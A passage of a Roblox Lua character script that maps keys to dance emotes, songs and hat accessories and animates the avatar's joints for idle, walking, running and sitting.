  6756.              miniweld = Instance.new("Weld", char)
  6757.                miniweld.C0 = hitz.CFrame:toObjectSpace(rootpart.CFrame)
  6758.                miniweld.Part0 = hitz
  6759.                miniweld.Part1 = rootpart
  6760.            else
  6761.                sitting = false
  6762.                return
  6763.                end
  6764.    else
  6765.        if miniweld then
  6766.            miniweld:Destroy()
  6767.        end
  6768.        controller.Parent = controllerService
  6769.        humanoid.PlatformStand = false
  6770.        humanoid.WalkSpeed = 11
  6771.    end
  6772. end
  6773.  
  6774.    if k == "w" or k == "a" or k == "s" or k == "d" or string.byte(k) == 32 then
  6775.        superannoying = false
  6776.        barrelroll = false
  6777.        heya = false
  6778.        dubstepgun = false
  6779.        youpirate = false
  6780.        canttouch = false
  6781.        gangnam = false
  6782.        sheddy = false
  6783.        durka = false
  6784.        saxguy = false
  6785.        foxie = false
  6786.        burndem = false
  6787.        bronymusic = false
  6788.        brony_music:stop()
  6789.        fox_say:stop()
  6790.        spitfire:stop()
  6791.        heman:stop()
  6792.        justin:stop()
  6793.        jb = false
  6794.        durk:stop()
  6795.                restorecolors()
  6796.        burn_dem:stop()
  6797.        if hat then
  6798.        hat:Destroy()
  6799.    end
  6800.    sax_guy:stop()
  6801.        gangy_style:stop()
  6802.        cant_touch:stop()
  6803.        you_are_pirate:stop()
  6804.        dubstep_gun:stop()
  6805.        super_annoying:stop()
  6806.        barrel_roll:stop()
  6807.        dancing = false
  6808.        global_wait = 0
  6809.        LightForTorso.Color = torso.BrickColor.Color
  6810.    end
  6811.  
  6812. if k == "z" then
  6813. if dancing then return end
  6814.    if not sitting then
  6815.    dancing = true
  6816.    superannoying = true
  6817.    super_annoying:play()
  6818.    end
  6819. end
  6820. if k == "k" then
  6821.    if dancing then return end
  6822.    if not sitting then
  6823.        dancing = true
  6824.        sheddy = true
  6825.        spitfire:play()
  6826.    end
  6827. end
  6828.  
  6829. if k == "n" then
  6830. if dancing then return end
  6831.    if not sitting then
  6832.        dancing = true
  6833.        gangnam = true
  6834.        gangy_style:play()
  6835.    end
  6836. end
  6837.  
  6838. if k == "r" then
  6839.    if dancing then return end
  6840.    if not sitting then
  6841.        dancing = true
  6842.        burndem = true
  6843.        burn_dem:play()
  6844.    end
  6845. end
  6846.  
  6847.  
  6848. if k == "x" then
  6849. if dancing then return end
  6850.    if not sitting then
  6851.        dancing = true
  6852.    barrelroll = true
  6853.    barrel_roll:play()
  6854.    hat = Instance.new("Part", char)
  6855.    hat.FormFactor = "Custom"
  6856.    hat.CanCollide = false
  6857.    hat.Size = torso.Size
  6858.    hat.Locked = true
  6859.    hat:breakJoints()
  6860.    local hatmesh = Instance.new("SpecialMesh", hat)
  6861.    hatmesh.MeshId = "http://www.roblox.com/asset/?id=29873142"
  6862.    hatmesh.TextureId = "http://www.roblox.com/asset/?id=31467063"
  6863.    hatmesh.Scale = Vector3.new(.22, .2, .22)
  6864.    local hatweld = Instance.new("Weld", hat)
  6865.    hatweld.Part0 = hat
  6866.    hatweld.Part1 = torso
  6867. end
  6868. end
  6869. if k == "h" then
  6870.      if dancing then return end
  6871.    if not sitting then
  6872.        dancing = true
  6873.        heman:play()
  6874.        heya = true
  6875.    hat = Instance.new("Part", char)
  6876.    hat.FormFactor = "Custom"
  6877.    hat.CanCollide = false
  6878.    hat.Size = torso.Size + Vector3.new(0.01, 0.01, 0.01)
  6879.    hat.Locked = true
  6880.    hat.BrickColor = BrickColor.new("Hot pink")
  6881.    hat:breakJoints()
  6882.    local hatweld = Instance.new("Weld", hat)
  6883.    hatweld.Part0 = hat
  6884.    hatweld.Part1 = torso
  6885. end
  6886. end
  6887. if k == "j" then
  6888.    if dancing then return end
  6889.    if not sitting then
  6890.        dancing = true
  6891.        justin:play()
  6892.        jb = true
  6893.    hat = Instance.new("Part", char)
  6894.    hat.FormFactor = "Custom"
  6895.    hat.CanCollide = false
  6896.    hat.Size = head.Size
  6897.    hat.Locked = true
  6898.    hat.BrickColor = BrickColor.new("Hot pink")
  6899.    hat:breakJoints()
  6900.        local hatmesh = Instance.new("SpecialMesh", hat)
  6901.    hatmesh.MeshId = "http://www.roblox.com/asset/?id=19999424"
  6902.    hatmesh.TextureId = "http://www.roblox.com/asset/?id=20571982"
  6903.    hatmesh.Scale = Vector3.new(.23, .23, .23)
  6904.    local hatweld = Instance.new("Weld", hat)
  6905.    hatweld.Part0 = hat
  6906.    hatweld.Part1 = head
  6907.    hatweld.C0 = CFrame.new(0.025, -0.05, 0)
  6908. end
  6909. end
  6910. if k == "c" then
  6911. if dancing then return end
  6912.    if not sitting then
  6913.        dancing = true
  6914.        dubstepgun = true
  6915.        dubstep_gun:play()
  6916.    end
  6917. end
  6918. if k == "v" then
  6919. if dancing then return end
  6920.        if not sitting then
  6921. dancing = true
  6922. youpirate = true
  6923. you_are_pirate:play()
  6924.    hat = Instance.new("Part", char)
  6925.    hat.FormFactor = "Custom"
  6926.    hat.CanCollide = false
  6927.    hat.Size = head.Size
  6928.    hat.Locked = true
  6929.    hat:breakJoints()
  6930.    local hatmesh = Instance.new("SpecialMesh", hat)
  6931.    hatmesh.MeshId = "http://www.roblox.com/asset/?id=1028848"
  6932.    hatmesh.TextureId = "http://www.roblox.com/asset/?id=1028847"
  6933.    hatmesh.Scale = Vector3.new(.2, .2, .2)
  6934.    local hatweld = Instance.new("Weld", hat)
  6935.    hatweld.Part0 = hat
  6936.    hatweld.Part1 = head
  6937.    hatweld.C0 = CFrame.new(0, -0.15, 0)
  6938. end
  6939. end
  6940. if k == "m" then
  6941. if dancing then return end
  6942.    if not sitting then
  6943.    dancing = true
  6944.    canttouch = true
  6945.    cant_touch:play()
  6946. end
  6947. end
  6948. if k == "b" then
  6949.    if dancing then return end
  6950.    if not sitting then
  6951.        dancing = true
  6952.        bronymusic = true
  6953.        brony_music:play()
  6954.        for _,bp in pairs(char:children()) do
  6955.            if bp:IsA("BasePart") then
  6956.                bp.BrickColor = BrickColor.new("Lavender")
  6957.            end
  6958.    end
  6959.    hat = Instance.new("Part", char)
  6960.    hat.FormFactor = "Custom"
  6961.    hat.CanCollide = false
  6962.    hat.Size = head.Size
  6963.    hat.Locked = true
  6964.    hat.BrickColor = BrickColor.new("Lavender")
  6965.    hat:breakJoints()
  6966.    local hatmesh = Instance.new("SpecialMesh", hat)
  6967.    hatmesh.MeshId = "http://www.roblox.com/asset/?id=118186643"
  6968.    hatmesh.Scale = Vector3.new(.1, .2, .1)
  6969.    local hatweld = Instance.new("Weld", hat)
  6970.    hatweld.Part0 = hat
  6971.    hatweld.Part1 = head
  6972.    hatweld.C0 = CFrame.new(0, -0.1, 0.05)
  6973.    end
  6974. end
  6975.  
  6976. if k == "l" then
  6977. if dancing then return end
  6978. if not sitting then
  6979.    dancing = true
  6980.    foxie = true
  6981.    fox_say:play()
  6982.    hat = Instance.new("Part", char)
  6983.    hat.FormFactor = "Custom"
  6984.    hat.CanCollide = false
  6985.    hat.Size = head.Size
  6986.    hat.Locked = true
  6987.    hat:breakJoints()
  6988.    local hatmesh = Instance.new("SpecialMesh", hat)
  6989.    hatmesh.MeshId = "http://www.roblox.com/asset/?id=25266225"
  6990.    hatmesh.TextureId = "http://www.roblox.com/asset/?id=25266210"
  6991.    hatmesh.Scale = Vector3.new(.2, .2, .2)
  6992.    local hatweld = Instance.new("Weld", hat)
  6993.    hatweld.Part0 = hat
  6994.    hatweld.Part1 = head
  6995.    hatweld.C0 = CFrame.new(0, -0.1, 0)
  6996.    end
  6997.  
  6998. end
  6999. if k == "f" then
  7000. if dancing then return end
  7001.    if not sitting then
  7002.    dancing = true
  7003.    durka = true
  7004.    durk:play()
  7005. end
  7006. end
  7007. if k == "g" then
  7008.    if dancing then return end
  7009.    if not sitting then
  7010.        dancing = true
  7011.        saxguy = true
  7012.        sax_guy:play()
  7013.            hat = Instance.new("Part", char)
  7014.    hat.FormFactor = "Custom"
  7015.    hat.CanCollide = false
  7016.    hat.Size = head.Size
  7017.    hat.Locked = true
  7018.    hat:breakJoints()
  7019.    local hatmesh = Instance.new("SpecialMesh", hat)
  7020.    hatmesh.MeshId = "http://www.roblox.com/asset/?id=44410178"
  7021.    hatmesh.TextureId = "http://www.roblox.com/asset/?id=44410320"
  7022.    hatmesh.Scale = Vector3.new(.25, .25, .25)
  7023.    local hatweld = Instance.new("Weld", hat)
  7024.    hatweld.Part0 = hat
  7025.    hatweld.Part1 = la
  7026.    hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4)
  7027.    end
  7028. end
  7029.  
  7030.  
  7031.  
  7032.  
  7033.    if k == "q" then
  7034.        if Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 14 then return end
  7035.         if sitting then return end
  7036.         looking = true
  7037.         rj.C0 = CFrame.new(-math.pi/6, 0,0) * CFrame.Angles(0, 0, math.pi/4)
  7038.     end
  7039.         if k == "e" then
  7040.             if Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 14 then return end
  7041.         if sitting then return end
  7042.                 looking = true
  7043.         rj.C0 = CFrame.new(math.pi/6, 0,0) * CFrame.Angles(0, 0, -math.pi/4)
  7044.     end
  7045.     if string.byte(k) == 48 or string.byte(k) == 47 then
  7046.                 if sitting then return end
  7047.         humanoid.WalkSpeed = 18
  7048.     end
  7049.     if string.byte(k) == 52 then
  7050.         if sitting then return end
  7051.         humanoid.WalkSpeed = 6
  7052.         end
  7053. end)
  7054.  
  7055. mouse.KeyUp:connect(function(k)
  7056.     if string.byte(k) == 48 or string.byte(k) == 47 then
  7057.         if sitting then return end
  7058.         humanoid.WalkSpeed = 11
  7059.     end
  7060.     if k == "w" or k == "a" or k == "s" or k == "d" or string.byte(k) == 32 then
  7061.         superannoying = false
  7062.         barrelroll = false
  7063.         heya = false
  7064.         dubstepgun = false
  7065.         youpirate = false
  7066.         canttouch = false
  7067.         gangnam = false
  7068.         sheddy = false
  7069.         durka = false
  7070.         saxguy = false
  7071.         foxie = false
  7072.         burndem = false
  7073.         bronymusic = false
  7074.         brony_music:stop()
  7075.         fox_say:stop()
  7076.         spitfire:stop()
  7077.         heman:stop()
  7078.         justin:stop()
  7079.         jb = false
  7080.         durk:stop()
  7081.                 restorecolors()
  7082.         burn_dem:stop()
  7083.         if hat then
  7084.         hat:Destroy()
  7085.     end
  7086.     sax_guy:stop()
  7087.         gangy_style:stop()
  7088.         cant_touch:stop()
  7089.         you_are_pirate:stop()
  7090.         dubstep_gun:stop()
  7091.         super_annoying:stop()
  7092.         barrel_roll:stop()
  7093.         dancing = false
  7094.         global_wait = 0
  7095.         LightForTorso.Color = torso.BrickColor.Color
  7096.     end
  7097.    
  7098.    
  7099.         if k == "q" then
  7100.             if looking then
  7101.         if sitting then return end
  7102.         rj.C0 = CFrame.new()
  7103.         looking = false
  7104.         end
  7105.     end
  7106.    
  7107.         if k == "e" then
  7108.             if looking then
  7109.         if sitting then return end
  7110.         rj.C0 = CFrame.new()
  7111.                 looking = false
  7112.         end
  7113.     end
  7114. end)
  7115.  
  7116.  
  7117. game:service'RunService'.Stepped:connect(function()
  7118.     count = (count % 100) + countspeed
  7119.     angle = math.pi * math.sin(math.pi*2/100*count)
  7120.  
  7121.     if slidecount < slidecountmax then
  7122.    slidecount = slidecount + speed
  7123.    end
  7124.    if slidecount > slidecountmax then
  7125.     slidecount = slidecount - speed
  7126.     end  
  7127. if global_wait == 380 then global_wait = 0 end
  7128.  
  7129. sine = sine + sinespeed
  7130. if not dancing then
  7131.         if not sitting then
  7132.             local ray = Ray.new(rootpart.Position, Vector3.new(0, -1, 0))
  7133.     local hitz, enz = workspace:FindPartOnRay(ray, char)
  7134.         if not hitz then
  7135.                 ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles((math.pi/8/5*slidecount) + math.pi + angle*0.05, 0, 0)
  7136.     rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles((math.pi/8/5*slidecount) + math.pi + -angle*0.05, 0, 0)
  7137.     lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(-angle*0.28, 0, 0)
  7138.     rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.28, 0, 0)
  7139.     if not looking then
  7140.     rj.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(-math.pi/8/5*slidecount, 0, 0)
  7141.     end
  7142.     neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0)
  7143. elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 2 then
  7144.  
  7145. -- idle anim
  7146.  
  7147. anim = "Idle"
  7148. if anim ~= lastanim then
  7149.    if lastanim == "Walking" then
  7150.        speed = 0.5
  7151.        slidecount = 1
  7152.        slidecountmax = 0
  7153.    elseif lastanim == "Running" then
  7154.        speed = 2.5
  7155.        slidecount = 5
  7156.        slidecountmax = 0
  7157.    else
  7158. slidecount = 0
  7159. slidecountmax = 0
  7160. end
  7161. end
  7162. countspeed = 1
  7163.    ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(angle*0.02, 0, 0)
  7164.    rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-angle*0.02, 0, 0)
  7165.    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(-angle*0.01, 0, 0)
  7166.    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.01, 0, 0)
  7167.    if not looking then
  7168.    rj.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(-math.pi/8/5*slidecount, 0, 0)
  7169.    end
  7170.    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0)
  7171. elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 14 then
  7172.    looking = false
  7173. -- walk anim
  7174. anim = "Walking"
  7175. if anim ~= lastanim then
  7176. speed = 0.2
  7177. slidecount = 0
  7178. slidecountmax = 1
  7179.    if lastanim == "Running" then
  7180.        slidecount = 5
  7181.        end
  7182. end
  7183. countspeed = 6
  7184.    ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(angle*0.3, 0, math.abs(angle*0.02))
  7185.    rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-angle*0.3, 0, -math.abs(angle*0.02))
  7186.    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(-angle*0.28, 0, -math.abs(angle*0.01))
  7187.    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.28, 0, math.abs(angle*0.01))
  7188.    rj.C0 = CFrame.new(0, math.abs(-angle*0.035), 0) * CFrame.Angles(-math.pi/8/5*slidecount, 0, 0)
  7189.    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0)
  7190. elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 14 then
  7191.     --run anim
  7192.     anim = "Running"
  7193. if anim ~= lastanim then
  7194. speed = 1
  7195. slidecount = 0
  7196. slidecountmax = 5
  7197.     if lastanim == "Walking" then
  7198.         slidecount = 1
  7199.     end
  7200. end
  7201.  
  7202. looking = false
  7203. countspeed = 9
  7204.     ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(angle*0.4, 0, math.abs(angle*0.07))
  7205.     rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-angle*0.4, 0, -math.abs(angle*0.07))
  7206.     lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(-angle*0.38, 0, -math.abs(angle*0.03))
  7207.     rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.38, 0, math.abs(angle*0.03))
  7208.     neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0)
  7209.     rj.C0 = CFrame.new(0, math.abs(-angle*.055), 0) * CFrame.Angles(-math.pi/8/5*slidecount, math.sin(angle*0.05), 0)
  7210. end
  7211.  
  7212. lastanim = anim
  7213. else
  7214. countspeed = 1
  7215.             local ray = Ray.new(rootpart.Position, Vector3.new(0, -2, 0))
  7216.     local hitz, enz = workspace:FindPartOnRay(ray, char)
  7217.         if not hitz then
  7218.         rj.C0 = CFrame.new(0, -0.5, 0) * CFrame.Angles(-math.pi/2, 0, 0)
  7219.         lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.rad(30), 0, -math.pi/16)
  7220.         rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(math.rad(30), 0, math.pi/16)
  7221.         ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(-math.pi-math.rad(30), 0, -math.pi/10)
  7222.         rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-math.pi-math.rad(30), 0, math.pi/10)
  7223.         else
  7224.         rj.C0 = CFrame.new(0, -0.35, 0) * CFrame.Angles(math.rad(10), 0, 0)
  7225.         lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, -math.pi/16)
  7226.         rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, math.pi/16)
  7227.         ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(-math.rad(10), 0, -math.pi/10)
  7228.         rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-math.rad(10), 0, math.pi/10)
  7229.     end
  7230.    
  7231.     neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(angle*0.055, 0, 0)
  7232. end
  7233. else
  7234. if superannoying then
  7235. countspeed = 5
  7236.     ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.07))
  7237.     rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.07))
  7238.     lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
  7239.     rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
  7240.     neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  7241.     rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
  7242. elseif barrelroll then
  7243.     countspeed = 5
  7244.     sinespeed = 0.1
  7245.     ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(math.pi + angle*0.2, 0, math.abs(angle*0.07))
  7246.     rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, -math.abs(angle*0.07))
  7247.     lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(0, 0, -math.abs(angle*0.03))
  7248.     rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(0, 0, math.abs(angle*0.03))
  7249.     neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  7250.     rj.C0 = CFrame.new(math.sin(sine)*2.5, 0, 0) * CFrame.Angles(-math.pi/2, math.sin(sine)*4.5, 0)
  7251. elseif dubstepgun then
  7252. global_wait = (global_wait % 380) + 1
  7253.     countspeed = 5
  7254.     if global_wait < 249 - 40 then
  7255.    ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.27))
  7256.    rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.27))
  7257.    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
  7258.    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
  7259.    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  7260.    rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
  7261. elseif global_wait > 249 - 40 then
  7262.         ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(math.pi/2 + angle*0.4, 0, math.abs(angle*0.11))
  7263.     rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, -math.abs(angle*0.11))
  7264.     lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.09))
  7265.     rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.09))
  7266.     neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  7267.     rj.C0 = CFrame.new(0, math.abs(-angle*.075), 0) * CFrame.Angles(0, math.pi/3 + math.sin(angle*0.15), 0)
  7268.     end
  7269. elseif youpirate then
  7270. global_wait = (global_wait % 380) + 1
  7271.     countspeed = 5
  7272.     if global_wait < 79 then
  7273.    ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(math.pi/2 + angle*0.1, 0, -math.abs(angle*0.07))
  7274.    rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(angle*0.2, 0, math.abs(angle*0.07))
  7275.    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
  7276.    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
  7277.    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  7278.    rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
  7279. elseif global_wait < 299 then
  7280.        ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(math.pi + angle*0.2, 0, math.abs(angle*0.11))
  7281.    rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, -math.abs(angle*0.11))
  7282.    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(angle*0.2, 0, -math.abs(angle*0.1))
  7283.    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.2, 0, math.abs(angle*0.1))
  7284.    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), math.sin(angle*0.19), 0)
  7285.    rj.C0 = CFrame.new(0, math.abs(-angle*.055+0.2), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
  7286. elseif global_wait > 299 then
  7287.         ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(math.pi/2 + angle*0.1, 0, -math.abs(angle*0.07))
  7288.     rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(angle*0.2, 0, math.abs(angle*0.07))
  7289.     lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
  7290.     rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
  7291.     neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  7292.     rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
  7293.     end
  7294. elseif canttouch then
  7295.     countspeed = 5
  7296. global_wait = (global_wait % 160) + 1
  7297. if global_wait == 160 then global_wait = 0 end
  7298.     if global_wait < 39 then
  7299.    ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.07))
  7300.    rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.07))
  7301.    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
  7302.    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
  7303.    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  7304.    rj.C0 = CFrame.new(0, math.abs(-angle*.03), 0) * CFrame.Angles(0, -math.pi/6, 0)
  7305. elseif global_wait < 79 then
  7306.     ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.07))
  7307.    rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.07))
  7308.    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
  7309.    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
  7310.    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  7311.    rj.C0 = CFrame.new(0, math.abs(-angle*.03), 0) * CFrame.Angles(0, math.pi/6, 0)
  7312. elseif global_wait < 119 then
  7313.    ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(0.01, 0, 0.17)
  7314.    rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(0.01, 0, -0.17)
  7315.    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(0, -math.abs(angle*0.05), -math.abs(angle*0.06))
  7316.    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), math.abs(angle*0.06))
  7317.    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  7318.    rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, 0, 0)
  7319.    torso.CFrame = torso.CFrame * CFrame.new(0.05, 0, 0)
  7320. elseif global_wait > 119 then
  7321.         ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(0.01, 0, 0.17)
  7322.     rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(0.01, 0, -0.17)
  7323.     lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(0, -math.abs(angle*0.05), -math.abs(angle*0.06))
  7324.     rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), math.abs(angle*0.06))
  7325.     neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  7326.     rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, 0, 0)
  7327.     torso.CFrame = torso.CFrame * CFrame.new(-0.05, 0, 0)
  7328. end
  7329. elseif gangnam then
  7330. countspeed = 5
  7331. if global_wait == 180 then global_wait = 0 end
  7332. global_wait = (global_wait % 180) + 1
  7333. if global_wait < 89 then
  7334.    ls.C0 = CFrame.new(-.2,.1,-.1)  * CFrame.Angles(math.pi/2.5 + math.abs(angle*0.2), 0, math.pi/3 + math.abs(angle*0.05))
  7335.    rs.C0 = CFrame.new(.2,.1,-.1) * CFrame.Angles(math.pi/2.5 + math.abs(angle*0.2), 0, -math.pi/3 + -math.abs(angle*0.05))
  7336.    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03))
  7337.    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03))
  7338.    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  7339.    rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0)
  7340.    elseif global_wait > 89 then
  7341.     ls.C0 = CFrame.new(-.2,.1,-.1)  * CFrame.Angles(math.pi/2.5 + math.abs(angle*0.2), 0, math.pi/3 + math.abs(angle*0.05))
  7342.     rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + math.sin(angle*0.1), 0, -math.sin(angle*0.1))
  7343.     lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03))
  7344.     rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03))
  7345.     neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  7346.     rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0)
  7347. end
  7348. elseif foxie then
  7349. countspeed = 5
  7350. global_wait = (global_wait % 380) + 2
  7351. if global_wait < 89 then
  7352.    ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(math.pi + math.abs(angle*0.1), 0, -math.abs(angle*0.2))
  7353.    rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + math.abs(angle*0.1), 0, math.abs(angle*0.2))
  7354.    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03))
  7355.    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03))
  7356.    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  7357.    rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.rad(global_wait*4), 0)
  7358.    elseif global_wait > 89 then
  7359.     ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(math.pi/2 + math.abs(angle*0.2), 0, math.abs(angle*0.05))
